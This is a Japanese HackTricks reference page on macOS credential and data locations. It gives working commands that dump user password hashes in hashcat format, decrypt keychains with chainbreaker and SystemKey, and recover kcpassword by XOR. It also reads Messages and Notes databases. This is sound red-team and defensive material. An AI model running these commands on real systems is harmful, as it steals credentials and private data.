macOS Sensitive Locations & Interesting Daemons
Reading time: 16 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
パスワード
シャドウパスワード
シャドウパスワードは、/var/db/dslocal/nodes/Default/users/
にあるplistにユーザーの設定と共に保存されます。
次のワンライナーを使用して、ユーザーに関するすべての情報(ハッシュ情報を含む)をダンプできます:
for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; fi; done
このようなスクリプトやこちらのスクリプトは、ハッシュをhashcat フォーマットに変換するために使用できます。
非サービスアカウントのすべてのクレデンシャルをhashcatフォーマット-m 7100
(macOS PBKDF2-SHA512)でダンプする代替のワンライナー:
sudo bash -c 'for i in $(find /var/db/dslocal/nodes/Default/users -type f -regex "[^_]*"); do plutil -extract name.0 raw $i | awk "{printf \$0\":\$ml\$\"}"; for j in {iterations,salt,entropy}; do l=$(k=$(plutil -extract ShadowHashData.0 raw $i) && base64 -d <<< $k | plutil -extract SALTED-SHA512-PBKDF2.$j raw -); if [[ $j == iterations ]]; then echo -n $l; else base64 -d <<< $l | xxd -p -c 0 | awk "{printf \"$\"\$0}"; fi; done; echo ""; done'
別の方法でユーザーの ShadowHashData
を取得するのは、dscl
を使用することです: sudo dscl . -read /Users/`whoami` ShadowHashData
/etc/master.passwd
このファイルは 単一ユーザーモード でシステムが実行されているときに のみ使用されます(したがって、あまり頻繁にはありません)。
キーチェーンダンプ
セキュリティバイナリを使用して 復号化されたパスワードをダンプ する際、いくつかのプロンプトがユーザーにこの操作を許可するように求めます。
#security
security dump-trust-settings [-s] [-d] #List certificates
security list-keychains #List keychain dbs
security list-smartcards #List smartcards
security dump-keychain | grep -A 5 "keychain" | grep -v "version" #List keychains entries
security dump-keychain -d #Dump all the info, included secrets (the user will be asked for his password, even if root)
Keychaindump
caution
このコメントに基づくと juuso/keychaindump#10 (comment)、これらのツールはBig Surではもう機能していないようです。
Keychaindump 概要
keychaindumpというツールは、macOSのキーチェーンからパスワードを抽出するために開発されましたが、Big Surのような新しいmacOSバージョンでは制限があります。keychaindumpの使用には、攻撃者がアクセスを得てroot権限を昇格させる必要があります。このツールは、ユーザーのログイン時にキーチェーンがデフォルトでロック解除されるという事実を利用しており、アプリケーションがユーザーのパスワードを繰り返し要求することなくアクセスできるようにしています。ただし、ユーザーが使用後にキーチェーンをロックすることを選択した場合、keychaindumpは無効になります。
Keychaindumpは、Appleによって認証および暗号操作のためのデーモンとして説明されている特定のプロセスsecuritydをターゲットにして動作します。抽出プロセスは、ユーザーのログインパスワードから派生したマスターキーを特定することを含みます。このキーは、キーチェーンファイルを読み取るために不可欠です。マスターキーを見つけるために、keychaindumpはvmmap
コマンドを使用してsecuritydのメモリヒープをスキャンし、MALLOC_TINY
としてフラグ付けされた領域内の潜在的なキーを探します。これらのメモリ位置を検査するために使用されるコマンドは次のとおりです:
sudo vmmap <securityd PID> | grep MALLOC_TINY
潜在的なマスターキーを特定した後、keychaindumpはヒープ内でマスターキーの候補を示す特定のパターン(0x0000000000000018
)を検索します。このキーを利用するためには、keychaindumpのソースコードに記載されているように、さらなる手順としてデオブフスケーションが必要です。この分野に焦点を当てるアナリストは、キーを復号化するための重要なデータがsecuritydプロセスのメモリ内に保存されていることに注意する必要があります。keychaindumpを実行するためのコマンドの例は次のとおりです:
sudo ./keychaindump
chainbreaker
Chainbreaker は、OSX キーチェーンから法的に正当な方法で以下の種類の情報を抽出するために使用できます:
- ハッシュ化されたキーチェーンパスワード、hashcat または John the Ripper でのクラックに適しています
- インターネットパスワード
- 一般的なパスワード
- プライベートキー
- パブリックキー
- X509証明書
- セキュアノート
- Appleshareパスワード
キーチェーンのアンロックパスワード、volafox または volatility を使用して取得したマスターキー、または SystemKey のようなアンロックファイルがある場合、Chainbreaker はプレーンテキストパスワードも提供します。
これらのキーチェーンをアンロックする方法のいずれかがない場合、Chainbreaker は他のすべての利用可能な情報を表示します。
Dump keychain keys
#Dump all keys of the keychain (without the passwords)
python2.7 chainbreaker.py --dump-all /Library/Keychains/System.keychain
SystemKeyを使用してキーチェーンキー(パスワード付き)をダンプする
# First, get the keychain decryption key
# To get this decryption key you need to be root and SIP must be disabled
hexdump -s 8 -n 24 -e '1/1 "%.2x"' /var/db/SystemKey && echo
## Use the previous key to decrypt the passwords
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain
キーチェーンキーのダンプ(パスワード付き)ハッシュをクラッキングする
# Get the keychain hash
python2.7 chainbreaker.py --dump-keychain-password-hash /Library/Keychains/System.keychain
# Crack it with hashcat
hashcat.exe -m 23100 --keep-guessing hashes.txt dictionary.txt
# Use the key to decrypt the passwords
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain
メモリダンプを使用してキーチェーンキー(パスワード付き)をダンプする
これらの手順に従ってください メモリダンプを実行します
#Use volafox (https://github.com/n0fate/volafox) to extract possible keychain passwords
# Unformtunately volafox isn't working with the latest versions of MacOS
python vol.py -i ~/Desktop/show/macosxml.mem -o keychaindump
#Try to extract the passwords using the extracted keychain passwords
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain
ユーザーのパスワードを使用してキーチェーンキー(パスワード付き)をダンプする
ユーザーのパスワードを知っていれば、それを使用してユーザーに属するキーチェーンをダンプおよび復号化することができます。
#Prompt to ask for the password
python2.7 chainbreaker.py --dump-all --password-prompt /Users/<username>/Library/Keychains/login.keychain-db
kcpassword
kcpasswordファイルは、ユーザーのログインパスワードを保持するファイルですが、システムの所有者が自動ログインを有効にしている場合のみです。したがって、ユーザーはパスワードを求められることなく自動的にログインされます(これはあまり安全ではありません)。
パスワードはファイル**/etc/kcpassword
に、キー0x7D 0x89 0x52 0x23 0xD2 0xBC 0xDD 0xEA 0xA3 0xB9 0x1F
**でXORされて保存されています。ユーザーのパスワードがキーよりも長い場合、キーは再利用されます。
これにより、パスワードは比較的簡単に復元できます。たとえば、このスクリプトを使用することができます。
Interesting Information in Databases
Messages
sqlite3 $HOME/Library/Messages/chat.db .tables
sqlite3 $HOME/Library/Messages/chat.db 'select * from message'
sqlite3 $HOME/Library/Messages/chat.db 'select * from attachment'
sqlite3 $HOME/Library/Messages/chat.db 'select * from deleted_messages'
sqlite3 $HOME/Suggestions/snippets.db 'select * from emailSnippets'
通知
Notificationsデータは$(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/
にあります。
興味深い情報のほとんどはblobにあります。したがって、その内容を抽出し、人間が読める形式に変換するか、**strings
**を使用する必要があります。アクセスするには、次のようにします:
cd $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/
strings $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/db2/db | grep -i -A4 slack
ノート
ユーザーのノートは~/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite
にあります。
sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.sqlite .tables
#To dump it in a readable format:
for i in $(sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.sqlite "select Z_PK from ZICNOTEDATA;"); do sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.sqlite "select writefile('body1.gz.z', ZDATA) from ZICNOTEDATA where Z_PK = '$i';"; zcat body1.gz.Z ; done
Preferences
macOSアプリの設定は**$HOME/Library/Preferences
**にあり、iOSでは/var/mobile/Containers/Data/Application/<UUID>/Library/Preferences
にあります。
macOSでは、cliツール**defaults
を使用してPreferencesファイルを変更**できます。
**/usr/sbin/cfprefsd
**はXPCサービスcom.apple.cfprefsd.daemon
とcom.apple.cfprefsd.agent
を主張し、設定を変更するなどのアクションを実行するために呼び出すことができます。
OpenDirectory permissions.plist
ファイル/System/Library/OpenDirectory/permissions.plist
はノード属性に適用される権限を含み、SIPによって保護されています。
このファイルは特定のユーザーにUUID(uidではなく)によって権限を付与し、ShadowHashData
、HeimdalSRPKey
、KerberosKeys
などの特定の機密情報にアクセスできるようにします。
[...]
<key>dsRecTypeStandard:Computers</key>
<dict>
<key>dsAttrTypeNative:ShadowHashData</key>
<array>
<dict>
<!-- allow wheel even though it's implicit -->
<key>uuid</key>
<string>ABCDEFAB-CDEF-ABCD-EFAB-CDEF00000000</string>
<key>permissions</key>
<array>
<string>readattr</string>
<string>writeattr</string>
</array>
</dict>
</array>
<key>dsAttrTypeNative:KerberosKeys</key>
<array>
<dict>
<!-- allow wheel even though it's implicit -->
<key>uuid</key>
<string>ABCDEFAB-CDEF-ABCD-EFAB-CDEF00000000</string>
<key>permissions</key>
<array>
<string>readattr</string>
<string>writeattr</string>
</array>
</dict>
</array>
[...]
システム通知
Darwin通知
通知の主なデーモンは /usr/sbin/notifyd
です。通知を受け取るためには、クライアントは com.apple.system.notification_center
Machポートを通じて登録する必要があります(sudo lsmp -p <pid notifyd>
で確認できます)。デーモンは /etc/notify.conf
ファイルで設定可能です。
通知に使用される名前はユニークな逆DNS表記であり、これらのいずれかに通知が送信されると、それを処理できると示したクライアントが受け取ります。
現在のステータスをダンプし(すべての名前を確認する)、notifydプロセスにSIGUSR2信号を送信し、生成されたファイル /var/run/notifyd_<pid>.status
を読み取ることが可能です。
ps -ef | grep -i notifyd
0 376 1 0 15Mar24 ?? 27:40.97 /usr/sbin/notifyd
sudo kill -USR2 376
cat /var/run/notifyd_376.status
[...]
pid: 94379 memory 5 plain 0 port 0 file 0 signal 0 event 0 common 10
memory: com.apple.system.timezone
common: com.apple.analyticsd.running
common: com.apple.CFPreferences._domainsChangedExternally
common: com.apple.security.octagon.joined-with-bottle
[...]
Distributed Notification Center
Distributed Notification Centerの主なバイナリは**/usr/sbin/distnoted
**であり、通知を送信する別の方法です。いくつかのXPCサービスを公開し、クライアントを確認するためのチェックを実行します。
Apple Push Notifications (APN)
この場合、アプリケーションはトピックに登録できます。クライアントは**apsd
を介してAppleのサーバーに連絡し、トークンを生成します。
その後、プロバイダーもトークンを生成し、Appleのサーバーに接続してクライアントにメッセージを送信できるようになります。これらのメッセージは、apsd
**によってローカルで受信され、通知が待機しているアプリケーションに中継されます。
設定は/Library/Preferences/com.apple.apsd.plist
にあります。
macOSのメッセージのローカルデータベースは/Library/Application\ Support/ApplePushService/aps.db
にあり、iOSでは/var/mobile/Library/ApplePushService
にあります。これには3つのテーブルがあります:incoming_messages
、outgoing_messages
、およびchannel
。
sudo sqlite3 /Library/Application\ Support/ApplePushService/aps.db
デーモンと接続に関する情報を取得することも可能です:
/System/Library/PrivateFrameworks/ApplePushService.framework/apsctl status
ユーザー通知
これらはユーザーが画面で見るべき通知です:
CFUserNotification
: このAPIは、メッセージを表示するポップアップを画面に表示する方法を提供します。- 掲示板: これはiOSでバナーを表示し、消え、通知センターに保存されます。
NSUserNotificationCenter
: これはMacOSのiOS掲示板です。通知のデータベースは/var/folders/<user temp>/0/com.apple.notificationcenter/db2/db
にあります。
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。